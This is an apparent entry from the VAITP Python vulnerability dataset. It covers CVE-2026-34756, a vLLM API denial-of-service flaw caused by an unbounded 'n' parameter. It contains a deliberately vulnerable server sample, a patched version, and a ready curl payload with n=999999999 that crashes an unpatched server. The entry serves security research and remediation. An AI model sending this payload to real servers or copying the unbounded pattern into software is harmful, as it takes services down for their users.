VAITP Dataset

← Back to the dataset

CVE-2026-34756

vLLM API DoS: large 'n' parameter value causes Out-of-Memory crash.

  • CVSS 6.5
  • CWE-770
  • Input Validation and Sanitization
  • Remote

vLLM is an inference and serving engine for large language models (LLMs). From 0.1.0 to before 0.19.0, a Denial of Service vulnerability exists in the vLLM OpenAI-compatible API server. Due to the lack of an upper bound validation on the n parameter in the ChatCompletionRequest and CompletionRequest Pydantic models, an unauthenticated attacker can send a single HTTP request with an astronomically large n value. This completely blocks the Python asyncio event loop and causes immediate Out-Of-Memory crashes by allocating millions of request object copies in the heap before the request even reaches the scheduling queue. This vulnerability is fixed in 0.19.0.

CVSS base score
6.5
Published
2026-04-06
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
vLLM
Fixed by upgrading
Yes

Solution

Upgrade to vLLM version 0.19.0 or later.

Vulnerable code sample

# This code is a representation of the vulnerable logic found in vLLM versions
# prior to 0.19.0, as described in CVE-2026-34756.
# It is a simplified, self-contained example using FastAPI to demonstrate
# how an unbounded 'n' parameter in a Pydantic model can lead to a DoS.

import asyncio
from typing import List, Dict, Optional, Union

from fastapi import FastAPI
from pydantic import BaseModel, Field

# --- Pydantic Models (Representation of vulnerable code in vllm/entrypoints/openai/protocol.py) ---

# In the vulnerable versions, the 'n' parameter lacked an upper-bound validation.
# A Pydantic Field validator like `Field(..., le=MAX_N)` was missing.

class ChatCompletionRequest(BaseModel):
    model: str
    messages: List[Dict[str, str]]
    temperature: Optional[float] = 0.7
    top_p: Optional[float] = 1.0
    n: int = 1  # VULNERABLE: No upper bound on the number of completions to generate.
    max_tokens: Optional[int] = 16
    stream: Optional[bool] = False


class CompletionRequest(BaseModel):
    model: str
    prompt: Union[str, List[str]]
    n: int = 1  # VULNERABLE: No upper bound on the number of completions to generate.
    max_tokens: Optional[int] = 16
    stream: Optional[bool] = False


# --- FastAPI Server (Representation of vulnerable logic in vllm/entrypoints/openai/api_server.py) ---

app = FastAPI()

@app.post("/v1/chat/completions")
async def create_chat_completion(request: ChatCompletionRequest):
    """
    This endpoint simulates the vulnerable behavior.
    Before the request is passed to the vLLM engine's scheduler,
    the server prepares to handle `n` completions.
    """
    # The vulnerability occurs here. The code attempts to create 'n'
    # objects or perform 'n' operations based on the user-provided value.
    # An astronomically large 'n' will cause the server to try and allocate
    # a huge list, blocking the event loop and leading to an Out-Of-Memory crash.
    
    # Simulate the pre-processing that creates multiple request objects.
    # This list would contain internal request representations.
    internal_requests_to_process = []
    
    print(f"Received request to generate {request.n} completions.")
    
    try:
        # This loop is the immediate cause of the DoS.
        # With a large `n` (e.g., 999999999), this loop will block everything
        # and attempt to allocate an immense amount of memory.
        for i in range(request.n):
            # In the real code, this would create more complex internal objects.
            # Even appending a simple dict demonstrates the memory exhaustion.
            internal_requests_to_process.append({
                "internal_id": i,
                "prompt": request.messages,
                "params": {
                    "temperature": request.temperature,
                    "top_p": request.top_p,
                }
            })
            # To make the event-loop blocking more obvious, we can add a small sleep(0)
            # which would yield control, but the sheer number of iterations prevents
            # other coroutines from running. The main issue is memory allocation.
            if i % 10000 == 0:
                await asyncio.sleep(0)

    except MemoryError:
        # In a real scenario, the process would likely be killed by the OS
        # before this exception could be gracefully handled.
        print("FATAL: MemoryError caught. The server is likely unresponsive.")
        # This return would likely never be reached.
        return {"error": "Out of Memory"}

    # This part of the code is never reached if 'n' is large.
    print(f"Successfully prepared {len(internal_requests_to_process)} internal requests. Proceeding to scheduler.")
    
    return {
        "id": "chatcmpl-123",
        "object": "chat.completion",
        "created": 1677652288,
        "model": request.model,
        "choices": [{
            "index": i,
            "message": {
                "role": "assistant",
                "content": f"\n\nThis is a mock completion {i+1}.",
            },
            "finish_reason": "stop",
        } for i in range(request.n)], # This would also be part of the problem.
        "usage": {
            "prompt_tokens": 0,
            "completion_tokens": 0,
            "total_tokens": 0,
        },
    }

# To run this example:
# 1. Install necessary packages: `pip install fastapi "uvicorn[standard]"`
# 2. Save the code as `vulnerable_server.py`
# 3. Run the server: `uvicorn vulnerable_server.py:app --host 0.0.0.0 --port 8000`
# 4. Send a malicious request:
#    curl http://localhost:8000/v1/chat/completions -X POST -H "Content-Type: application/json" \
#    -d '{"model": "test-model", "messages": [{"role": "user", "content": "Hello"}], "n": 999999999}'
#
# The server will immediately hang and its memory usage will skyrocket, leading to a crash.

Patched code sample

import time
from typing import Any, Dict, List, Literal, Optional, Union

from pydantic import BaseModel, Field

# In a real-world scenario, this value would likely be sourced from a
# configuration file or environment variable that reflects the server's capacity.
# We define a constant here to represent the maximum allowed value for 'n'.
MAX_N_VALUE = 128


class CompletionRequest(BaseModel):
    model: str
    prompt: Union[str, List[str]]
    suffix: Optional[str] = None
    max_tokens: Optional[int] = 16
    temperature: float = 1.0
    top_p: float = 1.0
    # The fix is applied here using Pydantic's Field validation.
    # An upper bound (`le`) is added to the 'n' parameter, preventing
    # clients from requesting an excessively large number of completions.
    # The 'ge=1' (greater than or equal to 1) is also good practice.
    n: int = Field(
        default=1,
        ge=1,
        le=MAX_N_VALUE,
        description=(
            "Number of completions to generate for each prompt. "
            f"The maximum allowed value is {MAX_N_VALUE}."
        ),
    )
    stream: bool = False
    logprobs: Optional[int] = None
    echo: bool = False
    stop: Optional[Union[str, List[str]]] = None
    presence_penalty: float = 0.0
    frequency_penalty: float = 0.0
    best_of: Optional[int] = None
    logit_bias: Optional[Dict[str, float]] = None
    user: Optional[str] = None


class ChatCompletionRequest(BaseModel):
    model: str
    messages: List[Dict[str, str]]
    temperature: float = 1.0
    top_p: float = 1.0
    # The same fix is applied here for the ChatCompletion endpoint.
    # The 'n' parameter is constrained with an upper bound (`le`).
    n: int = Field(
        default=1,
        ge=1,
        le=MAX_N_VALUE,
        description=(
            "Number of chat completions to generate for each "
            f"input message. The maximum allowed value is {MAX_N_VALUE}."
        ),
    )
    max_tokens: Optional[int] = None
    stop: Optional[Union[str, List[str]]] = None
    stream: bool = False
    presence_penalty: float = 0.0
    frequency_penalty: float = 0.0
    logit_bias: Optional[Dict[str, float]] = None
    user: Optional[str] = None

Payload

curl -X POST http://<vllm-server-address>:<port>/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
  "model": "meta-llama/Llama-2-7b-chat-hf",
  "messages": [
    {"role": "user", "content": "Exploit"}
  ],
  "n": 999999999
}'

Cite this entry

@misc{vaitp:cve202634756,
  title        = {{vLLM API DoS: large 'n' parameter value causes Out-of-Memory crash.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-34756},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34756/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::